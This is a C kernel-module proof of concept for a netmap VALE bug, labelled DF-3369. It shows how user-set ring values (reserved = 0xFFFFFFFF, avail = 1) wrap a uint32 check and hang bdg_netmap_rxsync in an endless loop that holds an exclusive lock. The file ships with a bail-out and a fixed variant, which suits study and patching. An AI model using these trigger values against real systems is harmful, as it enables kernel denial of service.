DF-3369 / df3369_kmod.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 | /* * DF-3369 PoC โ bdg_netmap_rxsync(): uint32 wrap of (reserved + avail) * defeats the sanity check, k escapes the ring index space, * release loop `for (n = 0; j != k; n++)` never terminates โ * unkillable spin holding the kring q_lock exclusively. * * The vulnerable function below is copied VERBATIM from * sys/net/netmap/netmap_vale.c:1485-1535 (bdg_netmap_rxsync), with only: * - netmap_kern.h machinery stubbed (documented inline; the stubs cannot * influence the loop control variables cur/reserved/avail/nr_hwcur), * - clearly marked INSTRUMENTATION (iteration counter + bail-out so the * demonstration returns instead of hanging the guest; in the real * subsystem there is no bail-out). * * Why a standalone KLD: netmap does not compile on this tree (platform * fact, netmap.c pass-2). bdg_netmap_rxsync is the nm_rxsync of every * VALE port (netmap_vale.c:1551, set by bdg_netmap_attach) and runs on * every NIOCRXSYNC ioctl from the port's mmap()ed user process โ the ring * fields it trusts (cur, reserved, avail) live in user-writable shared * memory. * * The arithmetic (ring of 1024 slots, lim = 1023): * user writes: cur = 5, reserved = 0xFFFFFFFF, avail = 1 * check (netmap_vale.c:1503): resvd + ring->avail >= lim + 1 * 0xFFFFFFFF + 1 = 0 (uint32 wrap) -> 0 >= 1024 is FALSE * -> reserved NOT reset * k = k + lim + 1 - resvd (mod 2^32) = 5 + 1024 + 1 = 1030 * j = nr_hwcur = 0 cycles 0..1023 via nm_next() -> j != k forever * => infinite loop with kring->q_lock held LK_EXCLUSIVE (netisr ctx) * => nr_hwavail -= n etc. never reached; thread never returns to user. * * Modes (sysctl debug.df3369.mode, then debug.df3369.trigger=1): * 0 = control : reserved = 4, avail = 1 -> k = 2, loop runs 2 steps. * 1 = attack : reserved = 0xFFFFFFFF, avail = 1 -> k = 1030 (out of * range); bail-out after debug.df3369.bail iterations * reports non-termination. * * Fixed variant (-DDD3369_FIXED): also reject resvd >= ring size, so the * wrap cannot smuggle an out-of-range reserve past the check. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/lock.h> #include <net/if.h> /* IFNAMSIZ for netmap.h */ #include <net/netmap/netmap.h> /* struct netmap_slot / constants */ /* ---------- stubs (documented; cannot influence loop control) -------- */ #define unlikely(x) (x) #define likely(x) (x) static char df_nmbuf[2048]; static char *netmap_buffer_base; /* netmap_kern.h global, stub */ #define BDG_NMB(na, slot) (df_nmbuf) /* != netmap_buffer_base */ struct netmap_kring { /* subset used by the verbatim code */ struct netmap_ring *ring; uint32_t nr_hwcur; uint32_t nr_hwavail; uint32_t nkr_num_slots; struct lock q_lock; }; struct netmap_adapter { /* subset */ struct netmap_kring *rx_rings; }; static int netmap_ring_reinit(struct netmap_kring *kring) /* stub: counter */ { (void)kring; kprintf("df3369: [D] ouch dangerous reset!!! " "(netmap_ring_reinit path)\n"); return 1; } static inline uint32_t nm_next(uint32_t i, uint32_t lim) /* verbatim netmap_kern.h:196-201 */ { return unlikely (i == lim) ? 0 : i + 1; } /* netmap_ring has const members; mirror the layout in a writable struct */ struct df_ring { ssize_t buf_ofs; uint32_t num_slots; uint32_t avail; uint32_t cur; uint32_t reserved; uint16_t nr_buf_size; uint16_t flags; struct timeval ts; struct netmap_slot slot[0]; }; /* INSTRUMENTATION */ static u_int df3369_iters; static u_int df3369_stuck; static u_int df3369_bail = 1000000; /* * ===== VERBATIM bdg_netmap_rxsync() from * ===== sys/net/netmap/netmap_vale.c:1485-1535 * (stubs above; INSTRUMENTATION lines are the only additions) */ static int bdg_netmap_rxsync(struct netmap_adapter *na, u_int ring_nr, int flags) { struct netmap_kring *kring = &na->rx_rings[ring_nr]; struct netmap_ring *ring = kring->ring; u_int j, lim = kring->nkr_num_slots - 1; u_int k = ring->cur, resvd = ring->reserved; int n; (void)flags; lockmgr(&kring->q_lock, LK_EXCLUSIVE); if (k > lim) { kprintf("df3369: [D] ouch dangerous reset!!!\n"); /* was D */ n = netmap_ring_reinit(kring); goto done; } /* skip past packets that userspace has released */ j = kring->nr_hwcur; /* netmap ring index */ if (resvd > 0) { #ifdef DF3369_FIXED /* FIX: reject any reserve >= ring size as well, so the * uint32 wrap of (resvd + avail) cannot pass the check. */ if (resvd >= lim + 1 || resvd + ring->avail >= lim + 1) { #else if (resvd + ring->avail >= lim + 1) { #endif kprintf("df3369: [D] XXX invalid reserve/avail " "%u %u\n", resvd, ring->avail); /* was D */ ring->reserved = resvd = 0; // XXX panic... } k = (k >= resvd) ? k - resvd : k + lim + 1 - resvd; } if (j != k) { /* userspace has released some packets. */ n = k - j; if (n < 0) n += kring->nkr_num_slots; for (n = 0; likely(j != k); n++) { struct netmap_slot *slot = &ring->slot[j]; void *addr = BDG_NMB(na, slot); if (addr == netmap_buffer_base) { /* bad buf */ kprintf("df3369: [D] bad buffer index %d, " "ignore ?\n", slot->buf_idx); /* was D */ } slot->flags &= ~NS_BUF_CHANGED; j = nm_next(j, lim); if (++df3369_iters >= df3369_bail) { /* INSTR */ df3369_stuck = 1; break; } } kring->nr_hwavail -= n; kring->nr_hwcur = k; } /* tell userspace that there are new packets */ ring->avail = kring->nr_hwavail - resvd; n = 0; done: lockmgr(&kring->q_lock, LK_RELEASE); return n; } /* ---------- scenario driver ---------- */ static int df3369_mode; /* 0 = control, 1 = attack */ static struct df_ring *df_ring; static struct netmap_kring df_kring; static struct netmap_adapter df_na; static int df3369_run(void) { u_int nslots = 1024, lim = nslots - 1; u_int cur = 5, resvd, avail = 1; resvd = (df3369_mode == 1) ? 0xFFFFFFFF : 4; if (df_ring == NULL) df_ring = kmalloc(sizeof(*df_ring) + nslots * sizeof(struct netmap_slot), M_DEVBUF, M_WAITOK | M_ZERO); *(uint32_t *)(uintptr_t)&df_ring->num_slots = nslots; df_ring->cur = cur; /* user writes: 5 <= lim OK */ df_ring->reserved = resvd; /* user writes: NEVER validated */ df_ring->avail = avail; /* user writes */ df_na.rx_rings = &df_kring; df_kring.ring = (struct netmap_ring *)df_ring; df_kring.nr_hwcur = 0; df_kring.nr_hwavail = 10; df_kring.nkr_num_slots = nslots; df3369_iters = 0; df3369_stuck = 0; kprintf("df3369: mode %d: nslots=%u lim=%u cur=%u " "reserved=0x%08x avail=%u, nr_hwcur=0\n", df3369_mode, nslots, lim, cur, resvd, avail); kprintf("df3369: check (resvd+avail >= lim+1): 0x%08x >= %u ? %s\n", (u_int)(resvd + avail), lim + 1, (resvd + avail >= lim + 1) ? "TRUE (reset)" : "FALSE (wrap defeats check)"); bdg_netmap_rxsync(&df_na, 0, 0); if (df3369_stuck) kprintf("df3369: RESULT NON-TERMINATING: %u iterations " "without j reaching k (k = %u is OUTSIDE [0..%u]; " "j cycles via nm_next) โ in the real subsystem this " "loop spins forever holding q_lock exclusive\n", df3369_iters, df3369_mode == 1 ? (cur + lim + 2) : 0, lim); else kprintf("df3369: RESULT terminated after %u iterations; " "nr_hwcur=%u avail=%u\n", df3369_iters, df_kring.nr_hwcur, df_ring->avail); return 0; } static int df3369_sysctl(SYSCTL_HANDLER_ARGS) { int error, t = 0; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return (error); return (df3369_run()); } SYSCTL_NODE(_debug, OID_AUTO, df3369, CTLFLAG_RW, 0, "DF-3369 trigger"); SYSCTL_INT(_debug_df3369, OID_AUTO, mode, CTLFLAG_RW, &df3369_mode, 0, "0=control(reserved=4),1=attack(reserved=0xFFFFFFFF)"); SYSCTL_UINT(_debug_df3369, OID_AUTO, bail, CTLFLAG_RW, &df3369_bail, 0, "iteration bail-out (INSTRUMENTATION)"); SYSCTL_PROC(_debug_df3369, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df3369_sysctl, "I", "run verbatim bdg_netmap_rxsync scenario"); static int df3369_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: lockinit(&df_kring.q_lock, "df3369q", 0, 0); kprintf("df3369: loaded (netmap_vale.c bdg_netmap_rxsync " "reserved-wrap livelock test)\n"); return 0; case MOD_UNLOAD: if (df_ring) kfree(df_ring, M_DEVBUF); kprintf("df3369: unloaded\n"); return 0; default: return EOPNOTSUPP; } } static moduledata_t df3369_mod = { "df3369", df3369_modevent, NULL }; DECLARE_MODULE(df3369, df3369_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |